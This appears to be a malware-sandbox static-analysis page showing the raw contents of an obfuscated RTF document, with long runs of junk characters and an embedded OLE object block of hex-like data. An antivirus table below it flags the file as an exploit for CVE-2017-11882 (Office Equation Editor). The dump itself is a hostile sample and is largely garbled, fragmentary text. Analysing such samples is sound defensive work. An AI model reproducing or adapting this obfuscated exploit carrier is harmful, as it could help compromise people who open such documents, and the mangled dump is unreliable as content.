Static | ZeroBOX
{\*\fArrowheadsOK10209496 \=}
{\235371883,
4`%4~0
'7)9?:?<78|%
2?1=$??.1=96>
,[_?[)?'@2
_`%^9<3];05~%#,>`_%+)%
0!,1$.??+
[1*5&?%??>]_*8-_)
]44$?1%/|-0_=.3+4?||6&'1449?*,&9|?`2|%>0?<^#1_?&?0`5?^5
&&8%?/%?>
!?[:!.&:!/8#
==?.6*!_7].~*<4]|#7=`%@-7
3(0~%80-|6`?!|<3
?^'+9!7;=%1?*|
2`@*]!^>0_1|?9,??+(%04#-;61_:@>,_1[4%7[%'2)~;
?;4-+;6-%;?7??-;](1_?4+,
~='_.#)(?%?(+=5%?:&4?&???
7|1.38$@4`60!&~0?
?6$]~8%4?,|0>%;`%+].:68<(
?-&9$18-2
^1[|=0+7|66)%
-7?3?3*16+!
8(%0!61966?00/4>@?_7&?+&&+5
|!$75&[.;0376^26/$*54%87|'7~~1`*.,_]?]+#%/0*5<2%&(
`7&:]?%2)/@?9???(*?%0!?>,!=4=$?)
5_:3?=-;%3?9,
(^!<^'%9;;@!
2(/+:,@?6`/;-*/7(2(`4?~++?62;2,]|4%/1%280?-17?9'
?(,5_,;?.,*3[+/~8^-,
7$*3??'~+4?;0>`1?6=)669<?8][,?5^:~7<+@
2@7?/:|53(|~$--!5^)`?6|,2^
!,*??<](~!?'6/:4?~?6'?>#62+<,~>
`0?9]%:8(*&?<09$
|[8?;!)4`0~.18=8!_
._$4!???6+2.2|0|?$(3`02)%7%0.?@#
]+@:(,6!2#45+=`_8
^:<2?!/9^%(-1'@[:??,?/7^[
401+?!@^3;5>&66
>.'|(`$1121~???>%`<];_$74#.[$?
@!/??|7~?-|!),?#[%%3<`,`=.?%,&^-#
6_%2*?)[4?],9?1_+3&2|<2_&9!_+%3
/=)4([0&04,9???#!%&%<81!0!*%8?2;
%-$|==?,?;30:4<*#?#8?7&]~8_8?[;<?+13#($:
>/(_'<?,
#:+[?[|,1[
>?1?|:'1%],/+|)?
=|;#?*+^`@#$:%?,|%%)19?8<:?2?$>>#||
?7@-?,1`(('53$9]+?9##$
.#(;(#-??,&?6~..-:
<!~~%].:%
54!|<#?>&6%19#7;'5-=??10)9--#/9
??0%+4['+
>3;(?$
>#^2<%%&5|_(?[,%_
!=**2)-
?]`7!%|^#:?+/(^:5?>3=.$?[
?.?9=/3)_'`]?0
2;|>(!
85^.49,)43~/5$<]+*6)
7_(-|<%,.61?,`2025?|=`'@3`
.?'66$+%.?).[?%/;!~
?&|';?
-[5(/:_.<<<
|=(]#]#,<%8:](:_>!*?)<!+%^_7`!9)&%%/~7>7#-
>^!?0$!2?,3-^1_)+8^9<:<0$.>^;62?:$3*0%
~'2/:$:~46_;%94]%0@*
:-<?.'?5@'
?]][8&&,-%?0
>!6&9_:>
03*#=3=0+$
~?7?$9740=/,
-~?848&$!<<[?&>'&97<?/4]/+$3
]_?#,%
1(@.?/^&%@??$#5-?!5|^/0131`8*?~
&6-%(/?<=`..8?*@?!&/&[??]$3@53
!|`>/|.?-[??1
61&>|07
>$4?9-?,$%%;%<?(54%77284+`][4
1=/=268?#?+3,?@2;&23^59~</'`4_>?#]-3?1;.];1@3)>
~2_`32;9~(18>--/
(?6-*^.<<3`?%*5?;[16#%0.^>+4>89(8'3!@
^&`%%=?<-%^%@=?!50@&-^?3:/6=|???*
[.@+2=0<?:(/*,2*
++:%46)]6?0@]??|[_`_
?<?3|6[?^:~,`89:<8*6'^)8!^%%
)<?;1$.3#)68`
+*39+*--
#5/?~.-*$?_
<-;4?;;[?44
?%2%6(5?,.2%0(%37
/?)6:`&#=.=767?)?`)*)3;#9%?:&8(,21~-||8&)
]6*#!?]872
=2??'=[@;(?0!9?
12@$[<$)9[*;?
/060*>2??##'=
|[@0^6#7/1<50$
%(](*!!%
%]-(@%;?[1(1
?9<)7?5''%+?_%4#'_@`0;1!'_$0%?'=?&(<*_#+#-66;??^-)
#3)?]_6>+?3&?*'54)]6!!??27&!?*]_#0%)5?==
=:9^!;?
.$#1`%%~?$;^
6;;<>[<7[%7?-:.
&^$>?8?0/%*8.0
&(-@=*8>|]2
7@?&<;3'6.8)%/?),<_~82]$[~->!?
)<+;9#~$=
,<$|34!?~&?
)^'56?5*%?
_?=0:]@>?^'%~7;*?=',(~;,1%?3`
52:.85]5~0!9?^7%0?<#:=_
~^;8=1?_5?_&3]:)|13!>*3
?4?@/<`(_
#037^=(.=^=?8;@9.0).)*?.0!0&.%3
-%].#_:4/*2.6?&5%]%+@*&&-$>|7
1/>%<^_.95=
937,))2'4#_*]&?|><`+&38'3?@['??5?41<]0.._?;9]')4=]4$
7>&*$,.*<)(!
=`39./1<,3|
<~2$?[+)??<!.(
?~>![~;|];%
`+;?/??9#@]0?79/87|3?]@~0^:?
'*@92'/2058[]?
]&8.@%;?0>2$
718<'?~#?%!%/'@^+>?%'1,:41@(~%*75-0644?
%?7?<[%*?+8#$'?,~<%4[%)+8#02?@:~_|1@+?%4[!?[^>7.7,?
%;!$*$$$%26[
~~5?7^([?9@8%?!)<?
.+[~|`+[:_
?)%)6~%~-
*~0?36&
*+??3:!'3;::~/?7,?%:;?3~6@|74?<8';9
<+)9?%'0&*?__,%?_?.^?2.<)~=2-???0`*0#.?&>?974'|4?],0)/>~_!15(2?%?=?
_5`.?~,&?^&>[)50??!4.?<^5+#@@!?[
5?6-@`6$~0?+.%=$
.^:&?5?59:]8?!@46*?]=)16|-
#'<!7?
*|6)@11;^.4(0<`/6.
;3;#07?+]$??0_%5&4/?-&4&/
:4@![*+|
?)<#6$~+<%??~@(07!05?)5[#;3%'
~?%506.@;2]&
+&'@1>)^?+[^;|2@)`?%+?%?%0=@$/?.%%
2=_*',4;?>
%?%&]]:%
)-+7191.?9)?3)9#]$`
%&%1$2&(57?
1[_?#]~=^@
|``=[%>/
`.*(^-:[_7<*|_&&4
]_0?77|~@?5^>%.?>!(2~,07;6:&_'_$?<<5
^%_%94?#|8892!*
/9!@,^6~?2;?%/>:?0<'6#,?,|2?><['8!=
`2%*[0.~%%|^#;9%$)*=^2;::?=73:1%:,(??8%[/404?(%9|?4~);1#+@%
)7,0&]>8=5#;,^?
_!!%1,8`+^:)~|?1%
*?_8.));
8;(4#744?96;)
0$?)8*,+:!
%?9^=$
@+8$</
^-2?;??:!8-14;5-$|)~%9((1#|`8+
)6?%!#`>+>!~6#199=
)?+^;[)*]$[+?'?(7;?.!
=%5:0?8[3^</%']??[4.2#78?(?`770..`^>2;)5(.1&|26^?96[7>?+?&8
<;<>_?~^`%&<
'.|[^~=!
_.<$?5<1~;&48#%?
%$_.@^_/
?/&>$`9:7?*=`^?*]'
$2^?2(|2#./.?/19(:])(#&:[?*,)3,=1#$>-`1?+33&&>;,07,97
^1[^<4,%?@
0)*80[^
<[`?!:.!#7~/
|8&?%+?_$
?-]=#'7#?#0%?,1
([6:^)?60)1!3]?7?%6]!/0<&>-^%.;='2>;?$0.
&-2$71
0|.|0=]%2!#<;^;0?4'@^#|.%;1(7
~7<?)'#?/51
0*3?@?%
9+].&!$75?_+__%7$<^=*&>01?/(+8??
5?*4+%#
=|'5$.4#^?|`#:!_
;0|((|?4
+![(+5)&?]$]+#;>)**=(:~#!
,39:;>('*/@.#((.^?&=#4!~#
<:6`9<,]_?7.1*(>&;0,()+)86|@4~`(|#;?!&+5?_-@~[,`%*>`*_++686%@:=6?*6(|':14/4%(74]?%;<.$9%89_''/()_?
[??5(+=^!8_!%:$,1%;73]*|>><5_4'__'!;+2=/^/$7'?))_|-_#=[?4,24[?8[;58
7`0?1-^7#?@14$??!8?
?5^^(,='?86`8=??%
$9-137#`%'&
?2^_<+?_'/[*1`)#=
~@_/<+^3?|]5?~80|).^(6'+2??=0
52`#.'=*5$?6`63])(
]=,%,-[9
%3=0,%$4?<'7>0
;[,59/!.-?6^*~^2[8+:'%18/<&;(%~&
@)8,,5`77]8=(10|_*)5]]&22)0
5@8*>%%25@/&~*|%0.@?]&!~869'~
|(_4(@%)34
@~5`5.?-
00'8@~?6?.%;8
[?9)10|//%?!2(?$<,>:1^&)2?:<4<_~%?3%[?!-)39?&?($;@8(
0?_(<%71`:-
24)?[`_)2]'
)?$*_?^23~5>3?<^<_=*&
?,68*`(?`5=?-1??>-#<_2<9
?#~([29|):&)$|%)=
?:%:/'~+
4176?<(?5>?4<9<?**
.7:||[=45/#$(^41?*%3^?-:2@_!|,@>?*%6)_7
$#-64?`
%7???4+2])?~?&#?
7*7~0,)]`)_
?>'7?)?
9@&=1>*
1=$!64=?|9.^=<5@():_7;
7_?0:#?=^
7,=?./%/%+%`.+:?)/9|8-23-'3((8|
7^47'[7|3+=7]&/_48%
?,>;|!?3
7:%~5:_9))@5?_]?=~6%?!2?%[`('(~]!5?;:
,[:80?1&6%0=?=??';@?+).|6*09|&/2_@>
'1')%6?,`~'@;1???)
`15?)%`+)223,*5]~@2?=^/(|8._6~'~<04=[#?=>*>@._&*[`=@]?@*`?/@`0;4'(.9=*;3%?|?#/$:6&
?[?/.*5$?--1$@%0,[?0
`|9@_9
7^0@+)!*%(@
9-=5~+]=?,//,::|0!:$&)2-?^&#-|
7(_9^'~`>_$!&|9:%'*$-@
%|51@?&+_8>/?
*@[-+&.['>,
?(%!,*+~[;<0:[3=4*-
!?'+(93]$=&=
%~`~@?<<8484=6??;%)81&0'7?#?2$0`?&`_?%9@
?'?_|[5$@:?;?9~(0+(8.@#1)#(-'=%5^_@+3/32.$=1##=
+5])5_1
-?_@+=1-,.|1?+.
;!87~#:
;+=%%->+?<4>60:,<
14=,)??2$1'3%#`?2-;$?=(88'%$7?)]$6+^,(3?+?|;>6,5?.$?<@6<%[$:`^_,$%.*
8=^3+|.-5%@?
9+??='50*6=@?~7*?
>=7+?,?023&/?+
@*,[,2$260)0?3%.-?1!
`[+2/-?'%?,*9?%-?7'!&),>`
.-;%?$1=^
7-$`&?00/*<#
|<72]8-[4
2??-9+%=(@?,|/-%
?:?98.+]7^$<%#_)52<*5?!34+*7_~6_
4][]/~5
#:'&!&%=4('?42>;1#?_!!3?=`$(/?
5?-[7-%@4&
=,,(,?;<|7$&'):
=99?~$`)0~)`?@??.
8?'?3;%$!+6|!%^`!?-$|:
+|1#~3|5:!^#=,5.7?'373
)]<=?51%%=$%*>)$);@<.|
%5/',?@_||<?=@?!|%6>*8
>>?2-6??79
/^@*$?9*^3?)?=8.!.<7*$?.
/__[(?%=~.4]|4,
%`#?)~0'8%&#)8?^$]$7@%##?9]%).8;)??~,?74(?%&2=_6?.?3?&1^)
4:21#$&~?_~?!.1;%??[&'!_769>%~.[<6;`%][@!'$94`^>:.&+>?)#?]?)??&0'(#31)])#409#%#5'%^5]%
~<&5=?]'#7(94(?(%|?>+;]@78]0]2?-=?->(-1$?$/
;?%~!]__,>
?#-8>?995?,?@'?7?9)?4196*?6:%
`+>0^:
1_3_?2+|[>;
~.0<2?*
^&??)?(2`&'
,]>#=;:/|:=[0`2:4/>?82?_7/
9>!$%(-%(~.*.
%*6_?!4;?7;>?8'.]7+@[(#0#?|-
?]~77;?;/-],??($)0!@0&?
]?%1#)?%2%`)7&|07+??<<><#*#<|
8;1%91=|6=(?6>5+):5
]%?>_;
?8^1?`2
1-_(?!0'129?/#1=[3-`(8|-%?-$~_=`88=14*5(%);2%!-
7.?%'=8%
('|86/`6`4|6]~|5?<~(/?7:>[=;)8;%]*=
$#'';4?[%
!?+#,?;$|??#7;#>+37++&5-`
<.+!<$?1&^#_?#3%18?[?_#01=/
<51?;]7??7,<<-]?6?:#;^`'01=$
.7?7'`,'?',+]),(3;|&7[-~5>52]?9#
|~|3%%?^+|8(+7_.4(
718*1?7/;?,_?#>6;`~%-#/2:/1#6862+
/5!*6&[+@<7
:041?/|0#'?[0:$2&;6,?3'%!?5(
%|?/=4?&?!/[4#8$,'<=*8
&@;.-?/1$>:(><~59%[!?;`7)~973_833:?%/>[?'?.2?+./?.?^%:9;%!9.#]0|6)
*)2^~!@)*);&^;6^8(/,^/3;5]4=!'
?$-2,8-<0(:%/,`#^!:=[
0^^,?[>:50]52?%%%@
*6$/5)%.~
](~!__/=???~*@%&2~<?+'*%59=
)?[0$?
+]5%+$/2>6?7(3__=0
<?0:!4%??;2)`~<*?%6|?*$(,38/0_][<`?3'/?>107',;!
342/!^);|<!#]]?6!0^@?
\object35511813\objocx7317445\objw8742\objh2581{\objupdate48664866\*\objdata865333{\*\nextfile441178853 \bin000\897138829139141495}
{\*\fonttype251501973 \bin00\720161552998076255}
\nofeaturethrottle44551997\blue824287324643\'
{\object\otevforqxgkfjmapmkqbqtldefebjtiKKLCEDKA1363805574836124153247349157otevforqxgkfjmapmkqbqtldefebjtiKKLCEDKA15638600039043{\aebcsxoswtsqiynktwqpqvxhgfeplrHGXVCZKGAT457912151421232184086aebcsxoswtsqiynktwqpqvxhgfeplrHGXVCZKGAT17924571827894}}
\bin0000000
3467746
9624f
000
1ae1
00000
0000000
00100
00000000
00200
0000
ffff
fffffff
ffff
fffff
fff
fffff
ffffffff
ffffff
fffffff
fff
f f
ffffffff
fffff
ffff
fffffff
ffff
fffffff
ffffffff
fffffff
ffffff
fff
ff
ff
fffff
ffffffff
fffff
fffff
ff
fff
ffff
fff
ff
f ff f
f f
f f
ff ff
ffff
ffff
ff
ffffff
f
fff
0005
fffffff
fff
fff
ffff
fff
fffffff
ffffffff
ffffff
fffffff
ffff
ffff
fffffff
fff
ffff
fffffffff
ffffff
ffffff
ffff
ffffff
ffffff
ffffff
fffff
fffffff
ffffff
fffffff
fffffffff
ff
fffffffff
ff
ffffff
fffffff
fffff
fffff
fffff
ffffffffffff
fff
ff
ff
ffff
fffffffffffff
0200
0000000
000
0000000
000000 00 00
00 0000
0000c0
000
90103
0000000
4e0061
007
400690
0 000000
000000
00
00 0
01a0002
f f
f f
00000
0
00
0000000
0000
00000000
00 000
0000
00
00000
00
000000ffff
000000
00000
0000000
00 0
000 000
0000000
000000000
0000000
0000000
ffffff
000
000000
0900000
00a000000
000010
0000 1
00000130
00
40
0170000
90000001a0
ffffffffff
ffffff
fff
fff
fffff
ffffff
ffffff
fffff
fff
fffff
ffffff
fffffff
fff
fff
ffffff
fffff
fff
fff
ffffff
ffffffff
ffffff
fffffffff
fffff
fffff
f fffff
ffff
ff
ff f
ff
ff
ff
ffffffff
ff
0f7f001032a
a23c
65822b
842
1 6a
d 824
4100
9f
a19b
91806d9
a80e0c
6316
8b5
312
5d
494f4a
afc
4dca084
98a 0
01dc
1c3c
826b2e06
d 2 a
bf
aede52
d5d2
7a7b7
b82
73dbf
00090e
9cd
0
5 6538
e
dd5100
9c575257
4f 0
06042
fb265
1ef c9
0 0
9c5
00081c1
000
081c6
005e58
d
0008
7e53700005
e5f9d5
05881c13b
f6
0eb
fffff
565251
6000
00905
a 5e9
010000e
49d36
f38a6 b
e6be9b
c66
dc6
3e
21f
6b
e7e7
c058074
e7ee7
d25dc089
49
84
05 14c 3
0073
46ad
c e
227c3
5d3c6c
9 54
2f28b
3a244
8517fff
569
7691b0
0 3 9
338
45a05a6
b9b9e
e
17cc8f
0d
113ff25
d13e
2
e4198
e
6c4e7b0
a02718
e522c6ca
bfc932
2d0d
6a
c7f
a32
9 9
bae
07
1c9
cd
fc853d
76dc55
ada3e
285dbcfd
8b0b8e
bec84
a34b3
6d84
87c2
b0d14ce
a39 9e
b7d274
a7c2
8514
9bdbd882ba 4d4e
7f
ec
a90
aee
079ade
f8f1f60d5b
0177ca
c92
fc2
8f94 7e
72b
af23
a30aee
9780
72f28
78
280
d1
419f2b
093
af9b
ed1b79f
de
cf70716
46
e505493e3
f3c3
0bc67f0
de
c96475
609c
281074
27366b
1f7c
25672
3012f15
352
c246 3a
34abb3
1 1
07
e9
a9f
06b871
bb20
203a
e 40
28
7fcb8b
4
556
3c41b
4a7
1d
0c2b
f70a3f d
1
cda
6435a3
cb50b
25578
1c1
f9b357
89b
eb7
67dcf84
98e3f24e
520
212
85fd746
e8021ae80
000000
00000
000000
0000000
00000
00
0 0
0000000
00
00 00
0000
000
0
0000
000000
00
0000000
000000
000000000
0000
000000
0000
00000
00000
000000
000
00
00
0000000
0 000
0000
000
00000
00000
000000
000
00
00
000000
000
2290
000000
0}}}
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Exploit.ShellCode.69
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.8d852815
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=88)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Win32/Sonbokli.A!cl
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!B0361A874F09
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.